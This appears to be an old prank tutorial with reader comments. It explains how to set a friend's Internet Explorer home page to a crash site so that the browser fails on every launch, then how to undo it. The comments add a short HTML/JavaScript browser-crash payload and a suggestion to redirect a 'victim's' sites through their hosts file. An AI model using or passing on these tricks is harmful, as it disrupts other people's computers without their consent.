Introduction: How to Make Someone's Internet Explorer Crash Everytime They Open It
this is a good prank for you to pull on your friends that will crash when they start internet explorer
Step 1: Open Settings Window
go to tools-> internet options
Step 2: Seting It Up
change the home page to http://crashie.com/ (this is a site that has a code that will crash almost every internet explorer version) then press ok
Step 3: The Result
now every time you open internet explorer, it crashes. so that means you can't change the options which means you can't go on any websites forever!!! because the internet explorer is screwed and you can't download other browsers that isn't screwed. so you or someone else that knows how has to fix it. (i will show u how to fix it)
Step 4: How to Fix It
to fix it, you have to disconnect the internet somehow.
there is 2 ways to do it:
go to control panel and swich to classic view. then go to network connections. next, right click the icon(s) and click disable. OR just unplug the internet cable
then go to internet explorer and change the homepage so it is not crashie.com, because there is no internet, internet explorer can't open the page that crashes it.
Step 5: How to Make It Better/wost Depending
download another browser like Firefox that won't crash when you view crashie.com and save it onto disk. then change the homepage to the directory (like c:\crashie.hmtl)
i haven't test it yet so tell me
to fix it just delete the file
13 Comments
15 years ago
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15 years ago
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13 years ago on Step 4
or you could just press "start" then "favorites" and then click on one of your favorites then after it loads click on "tools" then "internet options" and type in the previous home page.
13 years ago on Introduction
Weird, it doesn't crash IE8!
I got the crashing code in the very beginning of the source code:
<script>for(x in document.write){document.write(x);}</script><input type crash>
To do it in notepad:
<html>
<script>for(x in document.write){document.write(x);}</script><input type crash>
</html>
13 years ago on Introduction
Will that crash Firefox?
13 years ago on Introduction
You may also modify the hosts file in:
C:\Windows\System32drivers\etc\hosts
or Start>Run>
and type: "notepad C:\Windows\System32drivers\etc\hosts" minus the quotes
once opened, add to the bottom of the file:
(crashie.com IP address) (victim's frequently visited sites)
Tell me if it works!
15 years ago on Introduction
There's another way... just load Vista and wait.
Reply 15 years ago on Introduction
Or, in the case of my school's less-than-ideal wi-fi connection, load YouTube and wait. ; )
Reply 14 years ago on Introduction
OR try and put a thumb drive in to vista and wait. hang on, no need, crashes instantly
15 years ago on Step 3
What about going to internet properties in control pannel and changing homepage there? Will anyone not think of doing that? I certainly would.
Reply 15 years ago on Step 3
even quicker make a shortcut on the desktop to www.google.com and open tht then change ur hompage bak duhhhh lol
15 years ago on Introduction
Very good! But sorry to "burst your bubble" , but there is an loophole to this. All you have to do is create a shortcut to any website (do this by making a regular shortcut on your computer, but put a website as the location) and that will bypass your home page, making IE not crashing when opened!
15 years ago on Introduction
haha, thats a terrible thing to do! But it's funny, lol. How many poor souls have you pranked? ;-)